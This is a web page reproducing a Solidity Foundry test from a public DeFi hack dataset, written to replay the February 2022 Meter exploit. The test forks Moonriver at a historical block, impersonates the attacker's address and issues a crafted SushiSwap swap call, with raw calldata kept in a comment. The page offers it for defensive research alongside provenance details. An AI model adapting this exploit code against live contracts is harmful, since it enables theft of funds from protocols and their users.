Public reproduction file

src/test/2022-02/Meter_exp.sol

Public reproduction file for dataset entry Meter.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2022-02/Meter_exp.sol48 lines

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity 0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7interface SushiRouter {
8    function swapExactTokensForTokens(
9        uint256 amountIn,
10        uint256 amountOutMin,
11        address[] calldata path,
12        address to,
13        uint256 deadline
14    ) external;
15}
16 
17contract ContractTest is Test {
18    CheatCodes cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
19    address attacker = 0x8d3d13cac607B7297Ff61A5E1E71072758AF4D01;
20    address sushiSwapRouter = 0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506;
21 
22    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
23 
24    function setUp() public {
25        cheats.createSelectFork("moonriver", 1_442_490); //fork moonriver at block 1442490
26            // https://moonriver.moonscan.io/tx/0x5a87c24d0665c8f67958099d1ad22e39a03aa08d47d00b7276b8d42294ee0591
27    }
28 
29    function testExploit() public {
30        cheats.startPrank(attacker);
31 
32        address[] memory path = new address[](2);
33        path[0] = 0x8d3d13cac607B7297Ff61A5E1E71072758AF4D01;
34        path[1] = 0x639A647fbe20b6c8ac19E48E2de44ea792c62c5C;
35        // sushiSwapRouter.call(hex"38ed173900000000000000000000000000000000000000000000006c6b935b8bbd400000000000000000000000000000000000000000000000000000d30870ab532ed0c500000000000000000000000000000000000000000000000000000000000000a00000000000000000000000008d3d13cac607b7297ff61a5e1e71072758af4d010000000000000000000000000000000000000000000000000000000061fe94f80000000000000000000000000000000000000000000000000000000000000002000000000000000000000000868892cccedbff0b028f3b3595205ea91b99376b000000000000000000000000639a647fbe20b6c8ac19e48e2de44ea792c62c5c");
36 
37        sushiSwapRouter.call(
38            abi.encodeWithSignature(
39                "swapExactTokensForTokens(uint256,uint256,address[],address,uint256)",
40                2_000_000_000_000_000_000_000, // amountIn
41                15_206_528_022_953_775_301, // amountOutMin
42                path, // path
43                0x8d3d13cac607B7297Ff61A5E1E71072758AF4D01, // to
44                1_644_074_232 // deadline
45            )
46        );
47    }
48}

Analysis

Dataset entry

Public Foundry test for “Meter” (2022-02-06). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

3 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/2022-02/BuildF_exp.solSame month in the dataset · 49 lines
src/test/2022-02/Sandbox_exp.solSame month in the dataset · 27 lines
src/test/2022-02/TecraSpace_exp.solSame month in the dataset · 94 lines

File record

Name: Meter
Path: src/test/2022-02/Meter_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: b82547a13ab9e81fae57c502b68927cacb8c562b
Language: Solidity
Size: 49 lines
Date: 2022-02-06
Licence: file header UNLICENSED; repository Apache-2.0
Retrieved: 2026-10-19

Provenance

Path src/test/2022-02/Meter_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob b82547a13ab9e81fae57c502b68927cacb8c562b, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.